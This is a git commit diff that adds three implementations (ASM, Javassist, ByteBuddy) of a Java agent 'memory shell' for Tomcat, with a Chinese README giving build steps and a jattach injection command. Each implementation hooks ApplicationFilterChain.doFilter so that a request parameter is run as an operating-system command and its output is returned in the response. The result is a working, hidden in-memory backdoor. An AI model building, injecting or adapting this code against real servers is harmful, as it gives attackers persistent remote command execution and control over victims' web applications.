feat: add three implementations for agent memshell

2026-09-21 22:50:42 +08:00 · 2025-04-06 13:55:17 +08:00
parent 02c7abd086
commit bc9ce37a52
8 changed files with 295 additions and 57 deletions
@@ -0,0 +1,65 @@
+## Agent 内存马
+
+### 实现原理
+
+JDK1.5 提供了 JVMTI 接口供开发者扩展以查看 JVM 状态，或控制 JVM 代码执行。其中最重要的就是 `java.lang.instrument`，可以添加自定义的
+Transformer，来进行字节码修改。具体细节可查看 [JVM 源码分析之 javaagent 原理完全解读](https://www.infoq.cn/article/javaagent-illustrated)。
+
+JavaAgent 有两种入口：
+
+1. 静态注入，MANIFEST 定义 Premain-Class 属性指定实现类，并且类中实现了
+   `public static void premain(String args, Instrumentation inst)` 方法，在 Java 程序运行参数中添加
+   `java -javaanget:/path/to/agent.jar -jar app.jar`，应用启动时，就会调用到 `premain` 方法执行字节码增强相关代码逻辑。
+2. 动态注入，MANIFEST 定义 Agent-Class 属性指定实现类，并且类中实现了
+   `public static void agentmain(String args, Instrumentation inst)` 方法，在 Java 程序运行过程中，通过 attach 机制进行
+   attach 时，会调用到 `agentmain` 方法执行字节码增强相关代码逻辑。
+
+当一个 jar 包中 MANIFEST 定义如下时：
+
+```text
+Premain-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
+Agent-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
+Can-Redefine-Classes: true
+Can-Retransform-Classes: true
+Can-Set-Native-Method-Prefix: true
+```
+
+那么这个 Java Agent 既支持静态注入，也支持动态注入。
+
+### 实现方式
+
+> 目前提供了 Tomcat 最简单的命令回显 Agent 内存马实现方式
+
+1. 基于
+   ASM，[CommandFilterChainTransformer.java](memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
+2. 基于
+   Javassist，[CommandFilterChainTransformer.java](memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
+3. 基于
+   ByteBuddy，[CommandFilterChainTransformer.java](memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
+
+### 如何使用
+
+可以直接 IDEA 中的 Gradle，里面双击 memshell-agent 下的 Tasks 中 build 下的 jar 进行构建。
+
+```bash
+## 进入项目根目录
+cd MemShellParty
+
+## MacOs or Linux
+./gradlew :memshell-agent:jar
+
+## Windows
+gradlew.bat :memshell-agent:jar
+```
+
+构建结束，会在每个模块 build/libs/ 下生成 Jar 包，其中带 all 的为我们所需要用的包，例如：
+
+- memshell-agent-asm/build/libs/memshell-agent-asm-1.0.0-all.jar
+- memshell-agent-javassist/build/libs/memshell-agent-javassist-1.0.0-all.jar
+- memshell-agent-bytebuddy/build/libs/memshell-agent-bytebuddy-1.0.0-all.jar
+
+下载 [jattach](https://github.com/jattach/jattach/releases/latest) 攻击实施动态注入。
+
+1. 启动你需要注入的 Tomcat
+2. 执行命令 `/path/to/jattach pid load instrument false /path/to/agent.jar`，注意，所有路径都使用绝对路径，不要使用相对路径
+3. 访问 `http://localhost:8080/app/?paramName=id` ，查看是否成功
@@ -16,7 +16,6 @@ java {

 dependencies {
    implementation 'org.ow2.asm:asm-commons:9.7.1'
-    implementation 'javax.servlet:javax.servlet-api:3.1.0'
 }

 jar {
@@ -27,4 +26,6 @@ jar {
        attributes 'Can-Retransform-Classes': true
        attributes 'Can-Set-Native-Method-Prefix': true
    }
-}
+}
+
+jar.finalizedBy shadowJar
@@ -4,7 +4,7 @@ import org.objectweb.asm.*;

 import java.lang.instrument.ClassFileTransformer;
 import java.lang.instrument.Instrumentation;
-import java.lang.reflect.Method;
+import java.lang.instrument.UnmodifiableClassException;
 import java.security.ProtectionDomain;

 /**
@@ -14,19 +14,51 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {

    private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";

-    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
-        return new ClassVisitor(Opcodes.ASM9, cv) {
-            @Override
-            public MethodVisitor visitMethod(int access, String name, String descriptor,
-                                             String signature, String[] exceptions) {
-                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
-                if ("doFilter".equals(name) &&
-                        "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
-                    return new DoFilterMethodVisitor(mv);
-                }
-                return mv;
+    @Override
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
+                    @Override
+                    public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                                     String signature, String[] exceptions) {
+                        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                        if ("doFilter".equals(name) &&
+                                "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
+                            return new DoFilterMethodVisitor(mv);
+                        }
+                        return mv;
+                    }
+                };
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
            }
-        };
+        }
+        return bytes;
+    }
+
+    public static void premain(String args, Instrumentation inst) {
+        inst.addTransformer(new CommandFilterChainTransformer(), true);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
+        inst.addTransformer(new CommandFilterChainTransformer(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+            }
+        }
    }

    private static class DoFilterMethodVisitor extends MethodVisitor {
@@ -178,32 +210,4 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
        }
    }

-    @Override
-    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
-                            ProtectionDomain protectionDomain, byte[] bytes) {
-        if (TARGET_CLASS.equals(className)) {
-            try {
-                ClassReader cr = new ClassReader(bytes);
-                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
-                Method getClassLoader = cw.getClass().getDeclaredMethod("getClassLoader");
-                getClassLoader.setAccessible(true);
-                System.out.println(getClassLoader.invoke(cw));
-                ClassVisitor cv = CommandFilterChainTransformer.getClassVisitor(cw);
-                cr.accept(cv, ClassReader.EXPAND_FRAMES);
-                return cw.toByteArray();
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-        return bytes;
-    }
-
-    public static void premain(String args, Instrumentation inst) {
-        inst.addTransformer(new CommandFilterChainTransformer(), true);
-    }
-
-    public static void agentmain(String args, Instrumentation inst) {
-        System.out.println(DoFilterMethodVisitor.class.getClassLoader());
-        inst.addTransformer(new CommandFilterChainTransformer(), true);
-    }
 }
@@ -1,16 +1,31 @@
 plugins {
    id 'java'
+    id 'com.github.johnrengelman.shadow' version '8.1.1'
 }

 group = 'com.reajason.javaweb'
 version = '1.0.0'

-
-dependencies {
-    testImplementation platform('org.junit:junit-bom:5.10.0')
-    testImplementation 'org.junit.jupiter:junit-jupiter'
+java {
+    toolchain {
+        languageVersion = JavaLanguageVersion.of(8)
+    }
+    sourceCompatibility = JavaVersion.VERSION_1_6
+    targetCompatibility = JavaVersion.VERSION_1_6
 }

-test {
-    useJUnitPlatform()
-}
+dependencies {
+    implementation 'net.bytebuddy:byte-buddy:1.17.5'
+}
+
+jar {
+    manifest {
+        attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
+        attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
+        attributes 'Can-Redefine-Classes': true
+        attributes 'Can-Retransform-Classes': true
+        attributes 'Can-Set-Native-Method-Prefix': true
+    }
+}
+
+jar.finalizedBy shadowJar
@@ -0,0 +1,71 @@
+package com.reajason.javaweb.memshell.agent;
+
+import net.bytebuddy.agent.builder.AgentBuilder;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.matcher.ElementMatchers;
+import net.bytebuddy.utility.JavaModule;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/2
+ */
+public class CommandFilterChainTransformer implements AgentBuilder.Transformer {
+
+    @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
+    public static boolean enter(
+            @Advice.Argument(value = 0) Object request,
+            @Advice.Argument(value = 1) Object response
+    ) {
+        String paramName = "paramName";
+        try {
+            String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
+            if (cmd != null) {
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+                return true; // 此处返回 true 配合 skipOn = Advice.OnNonDefaultValue.class，即意为不再执行目标方法自带的代码，直接返回。
+            }
+        } catch (Exception ignored) {
+        }
+        return false; // 此处返回 false 配合 skipOn = Advice.OnNonDefaultValue.class，意为继续执行目标方法自带的代码。
+    }
+
+    @Override
+    public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule module, ProtectionDomain protectionDomain) {
+        return builder.visit(Advice.to(CommandFilterChainTransformer.class).on(named("doFilter")));
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        new AgentBuilder.Default()
+                .ignore(ElementMatchers.none())
+                .disableClassFormatChanges()
+                .with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
+                .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
+                .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
+                .type(named("org.apache.catalina.core.ApplicationFilterChain"))
+                .transform(new CommandFilterChainTransformer())
+                .installOn(inst);
+    }
+}
@@ -1,15 +1,31 @@
 plugins {
    id 'java'
+    id 'com.github.johnrengelman.shadow' version '8.1.1'
 }

 group = 'com.reajason.javaweb'
 version = '1.0.0'

-dependencies {
-    testImplementation platform('org.junit:junit-bom:5.10.0')
-    testImplementation 'org.junit.jupiter:junit-jupiter'
+java {
+    toolchain {
+        languageVersion = JavaLanguageVersion.of(8)
+    }
+    sourceCompatibility = JavaVersion.VERSION_1_6
+    targetCompatibility = JavaVersion.VERSION_1_6
 }

-test {
-    useJUnitPlatform()
-}
+dependencies {
+    implementation 'org.javassist:javassist:3.30.2-GA'
+}
+
+jar {
+    manifest {
+        attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
+        attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
+        attributes 'Can-Redefine-Classes': true
+        attributes 'Can-Retransform-Classes': true
+        attributes 'Can-Set-Native-Method-Prefix': true
+    }
+}
+
+jar.finalizedBy shadowJar
@@ -0,0 +1,66 @@
+package com.reajason.javaweb.memshell.agent;
+
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+
+import java.io.ByteArrayInputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+
+public class CommandFilterChainTransformer implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
+
+    @Override
+    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            try {
+                ClassPool pool = ClassPool.getDefault();
+                pool.insertClassPath(new javassist.LoaderClassPath(loader));
+
+                CtClass cc = pool.makeClass(new ByteArrayInputStream(bytes), true);
+                CtMethod doFilter = cc.getDeclaredMethod("doFilter");
+
+                String code =
+                        "String paramName = \"paramName\";" +
+                                "try {" +
+                                "    String cmd = $1.getParameter(paramName);" +
+                                "    if (cmd != null) {" +
+                                "        Process exec = Runtime.getRuntime().exec(cmd);" +
+                                "        java.io.InputStream inputStream = exec.getInputStream();" +
+                                "        byte[] buf = new byte[8192];" +
+                                "        int length;" +
+                                "        while ((length = inputStream.read(buf)) != -1) {" +
+                                "            $2.getOutputStream().write(buf, 0, length);" +
+                                "        }" +
+                                "        return;" +
+                                "    }" +
+                                "} catch (Exception ignored) {}";
+
+                doFilter.insertBefore(code);
+                byte[] transformedBytes = cc.toBytecode();
+                cc.detach();
+                return transformedBytes;
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    public static void premain(String args, Instrumentation inst) {
+        inst.addTransformer(new CommandFilterChainTransformer(), true);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        inst.addTransformer(new CommandFilterChainTransformer(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+            }
+        }
+    }
+}